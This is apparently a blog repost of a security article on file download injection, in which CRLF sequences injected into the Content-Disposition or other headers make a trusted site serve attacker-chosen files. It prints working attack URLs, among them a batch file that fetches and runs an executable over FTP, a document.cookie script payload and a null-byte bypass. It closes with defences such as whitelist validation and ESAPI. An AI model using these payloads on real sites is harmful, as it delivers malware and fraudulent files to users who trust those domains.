File Download Injection. This attack involves the use of header injection, particularly the Content-Disposition header, to subvert HTTP responses from trusted domains. Attackers can use this technique to inject a malicious file download with an arbitrary filename (.html, .exe, .swf, .mov, .msi, .vbs, etc...) and arbitrary file content. Since the attack subverts an existing HTTP request, both the URL and the downloaded file use a trusted domain.
For regular updates about network security testing and the usage of security testing software (with video and downloads) you can visit Barb13 Unsecured blogspot.
For regular updates about network security testing and the usage of security testing software (with video and downloads) you can visit Barb13 Unsecured blogspot.
What Is File Download Injection?
Some web applications allow the user to control some part of the content disposition header, typically either the entire filename or at least a part of it. These applications are susceptible to file download injection.To perform the attack, the attacker builds an attack string. The attacker chooses a filename for the injected file, including the extension for the type of file the attacker wants the victim to execute, such as attack.bat. Then, the attacker adds two carriage return line feed (CRLF) sequences to signal the end of the HTTP headers and the beginning of the file data. Note that CRLF appears as %0d%0a when percent-encoded. It might also be encoded by the non-standard %u000d%u- 000a%u000d%u000a. Following the two CRLFs, the attacker appends the content of the malicious file, which should match the file type indicated by the chosen extension. For example, if an application takes the "fn" parameter from the request and puts it into the Content-Disposition header, the attacker might attempt to abuse that application with a URL that looks like this:
http://[trusted-domain]/download?fn=XXXX%0d%0a%0d%0aYYYYYYYYY
Where XXXX is the filename (and extension) that the attacker wants to name the malicious injected file, and YYYYYYYYY is the content of that file. A vulnerable application will generate a response like the following:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=XXXX
YYYYYYYYY
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr
When the web application generated the response, the injection modified its meaning. The new malicious response directs the browser to open the attacker's maliciously injected file. Note that the original headers following Content-Disposition were pushed down to the end of the file data after the YYYYYYYYY by the CRLF characters injected. With some combinations of browsers and filetypes, a confirmation dialog box appears that asks the use to "run", "save", or "cancel". With other combinations, no such confirmation is required.
These attacks, like reflected cross-site scripting, are sent from the victim's browser, through the application, and back for execution. The difficulty with reflected attacks is getting the victim to click on a link or submit a form to start the attack.
There is a "stored" variant of this attack as well. This variant occurs when the entire attack string is persisted in the application, and lies dormant until a victim unknowingly invokes it. Victims of a sto- red file download injection will be unable to easily detect that their download has been replaced with a malicious one.
For example, imagine an application that stores the name of a sports team without validation, and later uses the team name as the filename of the team's yearly performance report. When fans attempt to download the season's results, the application generates the Content-Disposition header and includes the attack. The malicious file content buried in the team name will be injected, replace the content of the intended file, and get launched by the browser.
While less likely to occur than a reflected file download injection, the stored variant reinforces the lesson that untrusted input should never be used without validation in an HTTP response header - even if it has been stored in the database for a while.
Content-Length Headers
For the browser to properly render a response, it must contain a Content-Length header that tells the browser how many bytes to read. In some cases, header injection can push the Content-Length header down into the HTTP body, where it just becomes more data. Understanding how the Content-Length header is affected is critical to fully understanding how file download injection works. In the example response shown above, there is no Content-Length header because the injection pushed it down into the message body. In some cases, we have observed that something down- stream from the web application automatically adds a new Content-length header after the Content- Disposition header. This may have been the web server or a downstream proxy "fixing" a response that is not RFC compliant. Getting the Content-Length header correct presents a challenge for the attacker. There are two possible cases:
- Content-Length precedes the Content-Disposition header - In this case, the attacker can either fit the attack into the size defined in the existing header, or try to inject a new Content-Length header as a part of the attack. Injecting a new one will result in two valid Content-Length headers, and leaves it up to the browser to decide which to use. This situation is analyzed in.
- Content-Length header follows the Content-Disposition header - In this case, the attack pushes the content length down into the body and the response could end up without a Content-Length header, spoiling the attack. The attacker may be able to inject a new content length header to replace the missing one, or perhaps the response will be fixed downstream.
Any Header Injection Vulnerability Can Be Used for File Download Execution
To be perfectly clear, an attacker can use almost any header injection vulnerability for this attack. The attacker must simply inject the entire Content-Disposition header containing the malicious filename and then append the body of the malicious file as described above. For example, if the application includes the "username" parameter in a cookie value without validation, the attack might look like:
http://[trusted_domain]/function?username=foo%0d%0aContent
Disposition:%20attachment;filename=attack.bat%0d%0aContent-
Length:%207%0d%0a%0d%0awordpad
This example is the exact same problem as above, but delivered in a slightly bigger envelope. In this example, the entire Content-Disposition header is included in the "username" parameter and will end up in a Set-Cookie header as follows:
Set-Cookie: username=foo
Content-Disposition: attachment;filename=attack.bat
Content-length: 7
wordpad
Any HTTP response header injection vulnerability will work as long as the HTTP response status is 200 in Set-Cookie, Content-Type, Refresh (just examples for headers which were successfully used in HTTP header injection/response splitting), as well as, of course, Content-Disposition.
Examples of Using File Download Injection
A Batch File Download Injection ExampleImagine an application that contains the following code. There are dozens of easy to find examples of this in Google Code Search, from full blown applications to tutorials and recent online guidance. Using the technique described above, the attacker can perform header injection into the "fn" parameter to take over the response. The attacker can specify the full filename and extension. Then by injecting two CRLF sequences, the attacker can send the body of the HTTP response which will be interpreted by the browser as the content of the file. For example, if the victim clicks on the following link in an email or on a webpage:
http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0awordpad
The following is the actual HTTP response generated by a vulnerable application on the Internet:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=attack.bat
Content-length: 88
wordpad
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr
This response tells the browser to open the file "attack.bat" containing the command "wordpad" on the first line. In the latest version of IE7 on Vista SP1 this displays a popup that says "run", "save", or "cancel." Selecting "run" immediately executes the batch file and starts wordpad. The latest Firefox saves the file to disk automatically, and requires the user to click "open" to execute it. Safari on Windows, interestingly, renames the file to attack.bat.txt and automatically opens it in the default text editor.
Injecting a batch file is quite dangerous, since the link starts with http://[trusted_domain]/ and will likely fool many users into thinking it is safe to click "run". Of course there are many obfuscation techniques that make the attack itself more difficult to spot.
Notice that the attack did not require the use of any special characters other than period, CR, and LF. Many validators are "blacklist" and contain only a short list of invalid character sequences, such as .. and slashes. Thus, even if the developer has implemented some validation, this attack may be able to bypass them. A more complex version of the attack could allow an attacker to FTP an executable off the Internet and execute it. Again, both IE7 and Firefox will run this com- mand with a single confirmation click.
http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0aecho%20get%20
/pub/winzip/wzinet95.exe|ftp%20-A%20mirror.aarnet.edu.au%0d%0awzinet95.exe
NOTE: This example shows how a broken response without a content length header may be "fixed" by something downstream from the vulnerable application.
Using File Download Injection to Commit Fraud
One of the simplest but potentially most devastating uses of file download injection is to replace documents with fraudulent ones that mislead victims. For example, imagine a corporate website that allows download of press releases and financial reports. The attacker might use file download injection to radically change the meaning of a press release. If the real press release reports strong growth in the first quarter, the attacker could use file download injection to mislead victims into believing that the company is about to declare bankruptcy. The attack URL might look like:
http://[trusted_domain]/press?file=Q108_growth.html%0d%0a%0d%0a
Using File Download Injection with Other File Types
File download injection can be used to trick victims into opening almost any kind of file, inc- luding .html, .pdf, .exe, .swf, .mov, .msi, .vbs, .jar, etc… For example, the attacker can get a victim to open an HTML file from the local zone.
http://[trusted_domain]/download?fn=test.html%0d%0a%0d%0a (script) alert(document.cookie) (/script)
In IE7, Firefox, and Safari this attack loads the attacker's injected HTML page in the browser and runs the script. Sometimes a dialog box requesting the user to select "open" or "save" appears. The choice of whether the Content-Disposition is "attachment" or "inline" may affect the appearance of a dialog box. The Content-Type header is also important to the behavior of the browser.
There are many tricks that attackers using this technique can use to bypass validation filters, such as setting the charset to US-ASCII or UTF-7. Tests show that scripts encoded in this manner can bypass many filters and still execute. Another way to bypass filters is to take advantage of the browser's flexibility in handling data that doesn't match the specified filename. In IE7, the example above will work just as well if the selected filename is "test.jpg" even though the content is a script not valid JPG data. While RFC 2616 does not place any a priori limit on the length of a URI, some clients may enforce a limit. Internet Explorer sets a maximum length of 2083 characters. This may impose a practical limitation on the files that can be injected via a URL. Using a POST or a stored file download injec- tion will allow unlimited length files to be injected, but may be more difficult to find or promulgate.
Defending By Testing for File Existence Doesn't Necessarily Work
Some applications follow the following pattern, which initially appears as though it should prevent the attack. This is a Java example, but the issue may exist in other platforms as well.
String filename = request.getParameter("fn");
File f = new File( "/somepath" + filename );
if ( !f.exists() ) throw new IOException( "File not found" );
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + filename );
In this example, if the file specified by the attacker does not exist, an exception is thrown and the vulnerable response header is never set. Unfortunately, Java has another flaw handling filenames that contain null '\0' bytes, at least in most environments. If report.xls exists and the attacker wants to attempt a reflected batch file download injection, he might send the following URL:
http://[trusted_domain]/download?fn=report.xls.bat%0d%0a%0d%0apause
This attack works because the null byte (percent encoded as ) will trick Java's file exists test into returning true, because it views the null byte as the end of the filename. The header, however, still contains the full parameter filled into the Content-Disposition header which ends in .bat. This is sent to the browser, which handles it as a batch file. The File constructor is another Java API that is unnecessarily dangerous and should reject attempts to create files with unprintable characters, particularly null bytes. Other platforms may or may not be susceptible to this type of attack.
Protecting Your Application Against File Download Injection
No web application environment would allow CR or LF characters to be put into a response header. There is no reason for this to be allowed, and can only break the HTTP response. Many environments do allow this corruption to occur, so developers must defend against this attack in their own code. Web application platform vendors should strongly consider disallowing CR and LF characters to be placed in response headers.
To determine whether any of your applications have a file download injection vulnerability, you can search the source code for calls that set the Content-Disposition header. You may want to check all calls to set HTTP response headers, as it is possible that any of them could be used for this attack. You should verify that headers never include untrusted data, particularly CR and LF characters. Be wary of possible encoded characters. The safest choice might be to use the filename of the actual file, rather than a parameter from the request. If you must use a parameter, you should carefully validate the filename parameter to be sure that it is a reasonable choice for the content to be downloaded. A safe filename validator might enforce alphanumeric, period, and un- derscore only. Blacklist validation against a list of unsafe characters is not recommended. Simple validation can be performed with a regular expression in Java as follows:
String fn = request.getParameter( "fn" );
Pattern p = Pattern.compile("^[\\w\\. ]*$");
if ( !p.matcher(fn).matches() ) throw new IOException( "Bad filename" );
This pattern allows for alphanumerics, space, underscore, and the period character only. For a more comprehensive approach, you can use the OWASP Enterprise Security API (ESAPI) library. ESAPI provides all the security methods an enterprise web application developer might need in a very easy to use, high assurance library. ESAPI provides support for strict "whitelist" validation of all input, canonicalization, and safe replacements for many dangerous Java EE methods. A Java version has been released and .NET and PHP versions are currently in development.
Protecting against file download injection (and all other header injection problems) with ESAPI can be done as follows:
ESAPI.httpUtilities().safeSetHeader("Content-Disposition",
"attachment; filename=" + fn );
In addition, for defense in depth, the global "whitelist" character-set check in ESAPI should also stop this attack (any many others):
ESAPI.validator().isValidHTTPRequest(request);
Static analysis tools should be able to search for header injection and note this attack. This attack may warrant increasing the severity of such findings. Vulnerability scanning tools will have a harder time, but attempting the injection into anything that looks like a filename to download would be a good start. The fastest and most accurate approach is to simply look in the code manually.
Posting Komentar